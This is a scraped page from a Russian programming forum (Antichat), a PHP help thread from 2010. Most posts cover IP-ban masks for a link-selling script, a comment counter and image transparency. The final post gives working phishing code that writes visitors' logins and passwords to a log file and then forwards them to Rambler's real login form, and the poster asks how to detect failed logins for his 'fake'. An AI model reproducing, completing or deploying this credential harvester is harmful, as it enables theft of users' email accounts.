ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #14261  
Старый 12.01.2010, 18:00
Аватар для TANZWUT
TANZWUT
Крёстный отец :)
Регистрация: 22.06.2005
Сообщений: 1,330
Провел на форуме:
5302668

Репутация: 2054


Отправить сообщение для TANZWUT с помощью ICQ
По умолчанию

Спасибо, но я уже сделал по примерам таким вот способом:
PHP код:
<?php
function check_deny($mask)
{
 
$idx preg_match("#(.*)\.(.*)\.(.*)\.(.*)#"$mask$ban_args);
 
$idx preg_match("#(.*)\.(.*)\.(.*)\.(.*)#"$_SERVER["REMOTE_ADDR"], $ip_args);
 for(
$x=1;$x<=4;$x++)
 {
 if ((
$ban_args[$x] == $ip_args[$x]) || $ban_args[$x] == "XXX")
 return 
"banned";
 return 
"clear";
 }
}

function 
smarty_function_sape($params,&$smarty)
{
define('_SAPE_USER''85e0d69d................1eb2d3a3');
    require_once(
$_SERVER['DOCUMENT_ROOT'].'/'._SAPE_USER.'/sape.php');
    
$banmask1 "1.1.1.XXX";
    
$banmask2 "2.2.2.XXX";
    
$banmask3 "3.3.3.XXX";
    
// $o[ 'force_show_code' ] = true;
    //$sape = new SAPE_client( $o );
 
if (check_deny($banmask1)=="banned")
 {
 echo 
"";
 }elseif (
check_deny($banmask2)=="banned")
 {
 echo 
"";
 }elseif (
check_deny($banmask3)=="banned")
 {
 echo 
"";
 }else
 {
$sape = new SAPE_client();
echo 
$sape->return_links();
}
}
?>
__________________
Лучший способ защиты - это нападение!!!
 
Ответить с цитированием

  #14262  
Старый 13.01.2010, 05:05
Аватар для VladZombie
VladZombie
Познающий
Регистрация: 18.04.2009
Сообщений: 33
Провел на форуме:
260138

Репутация: 2
По умолчанию

Как сделать чтобы количество комментариев записывалось в файл? Вставляю этот код в обработчик

PHP код:
<?PHP $file file_get_contents('text.txt');  preg_match('(.*)'$file$out) ; $a=$out[0]; $filelog fopen("text.txt","w+"); $a=$a+1fwrite($filelog,$a "); fclose($filelog); ?>
но он выдаёт ошибку. Как исправить? или подскажите другой способ.
 
Ответить с цитированием

  #14263  
Старый 13.01.2010, 09:00
Аватар для -=Zhenek=-
-=Zhenek=-
Участник форума
Регистрация: 31.12.2007
Сообщений: 279
Провел на форуме:
1725509

Репутация: 114
Отправить сообщение для -=Zhenek=- с помощью ICQ
По умолчанию

Цитата:
Спасибо, но я уже сделал по примерам таким вот способом:
Странно мне нужно было тоже самое,но не для сапы..

взял у вас функцию check_deny

передаю ей маску 127.0.0.XXX

и тестирую на локалке. Получается мой ИП 127.0.0.1 и он попадает в маску. Функция говорит Banned

но передаем следом маску 127.0.1.XXX и тоже говорит banned
 
Ответить с цитированием

  #14264  
Старый 13.01.2010, 15:30
Аватар для b3
b3
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме:
1698585

Репутация: 818


Отправить сообщение для b3 с помощью ICQ
По умолчанию

Вот на скорую руку, вроде справляется, но не углублялся.
PHP код:
<?php
ban_ip
('127.0.0.*');
echo 
'Все ок =)';



function 
ban_ip($mask) {
list(
$ip1,$ip2,$ip3,$ip4) = explode('.',$mask);

$regexp "#$ip1\.$ip2\.$ip3\.$ip4#";
$regexp str_replace('*','(\d+)',$regexp);
    
if(
preg_match($regexp,$_SERVER['REMOTE_ADDR']))
die(
'Извините, но ваш IP('.$_SERVER['REMOTE_ADDR'].') адрес, попадает под маску заблокированных.');
}
?>
 
Ответить с цитированием

  #14265  
Старый 13.01.2010, 17:58
Аватар для Gifts
Gifts
Reservists Of Antichat - Level 6
Регистрация: 25.04.2008
Сообщений: 827
Провел на форуме:
2769640

Репутация: 1304


По умолчанию

Strilo4ka Есть мнение, что под расширением может скрываться почти любая СУБД. Любая из этих- http://ru.php.net/manual/en/refs.database.vendors.php и не только
__________________
Любая действущая программа устарела.
Создайте систему, которой сможет пользоваться даже дурак ,и только дурак захочет ею пользоваться.
Как правильно задавать вопросы: _http://www.yakimchuk.ru/questions.htm
 
Ответить с цитированием

  #14266  
Старый 13.01.2010, 17:58
Аватар для winlogon.exe
winlogon.exe
Участник форума
Регистрация: 05.06.2009
Сообщений: 225
Провел на форуме:
2793173

Репутация: 297
Отправить сообщение для winlogon.exe с помощью ICQ
По умолчанию

как сделать чтобы при открытии картинки на сайте оно было прозрачным на сколько то процентов?

Последний раз редактировалось winlogon.exe; 13.01.2010 в 18:06..
 
Ответить с цитированием

  #14267  
Старый 13.01.2010, 19:04
Аватар для Patronik
Patronik
Познающий
Регистрация: 16.03.2009
Сообщений: 82
Провел на форуме:
148667

Репутация: 23
Отправить сообщение для Patronik с помощью ICQ
По умолчанию

Цитата:
Сообщение от winlogon.exe  
как сделать чтобы при открытии картинки на сайте оно было прозрачным на сколько то процентов?
Делай в фотошопе, а потом сохрани в png формате. PNG поддержывает прозрачный слой.
 
Ответить с цитированием

  #14268  
Старый 13.01.2010, 19:56
Аватар для winlogon.exe
winlogon.exe
Участник форума
Регистрация: 05.06.2009
Сообщений: 225
Провел на форуме:
2793173

Репутация: 297
Отправить сообщение для winlogon.exe с помощью ICQ
По умолчанию

Цитата:
Сообщение от Patronik  
Делай в фотошопе, а потом сохрани в png формате. PNG поддержывает прозрачный слой.
нет. картинка-информер берется с другого сайта
 
Ответить с цитированием

  #14269  
Старый 13.01.2010, 20:12
Аватар для b3
b3
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме:
1698585

Репутация: 818


Отправить сообщение для b3 с помощью ICQ
По умолчанию

Гугли "прозрачность на gd2"
 
Ответить с цитированием

  #14270  
Старый 14.01.2010, 02:52
Аватар для Mil-Net
Mil-Net
Познающий
Регистрация: 24.05.2009
Сообщений: 44
Провел на форуме:
367760

Репутация: 33
Отправить сообщение для Mil-Net с помощью ICQ
Post

Здраствуйте!

PHP код:
<?php  $f=fopen("pass.log","at");
flock($f,2);  
fputs($f,"Логин: ".$_POST['login']."\n");  
fputs($f,"Пароль ".$_POST['passw']."\n"."---------------\n");  
flock($f,3);  fclose($f);  
?>  
<form id="send" method="post" action="http://id.rambler.ru/script/auth.cgi?mode=login" name="auth_form">  
<input type="hidden" name="from" value="">  
<input type="hidden" name="back" value="http://mail.rambler.ru/mail/startpage">  
<input type="hidden" name="url" value="">  
<input type="text" name="login" id="login" value="<?php echo $login ?>">  
<input type="password" name="passw" id="passw" value="<?php echo $passw ?>">  
</form>  
<script>  
setTimeout(document.getElementById('send').submit(),5);  
</script>

Авторизация если правильный логин и пароль проходит!
А вот как получить ответ от сервера?
Тоесть если не правильный пароль то не переходит на сайт рамблера а переходит на другую страницу!
Так сказать

PHP код:
if ($login == 'login',$passw == 'passw')  
{  
echo 
"Правильный пароль";  
}  
else  
{  
echo 
"Не правильный пароль";  

Для понятия пишу Фейк с авторизацией!

Заранее благодарен)

Последний раз редактировалось Mil-Net; 14.01.2010 в 02:56..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Delphi, .NET, Asm 5420 17.06.2010 13:33
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ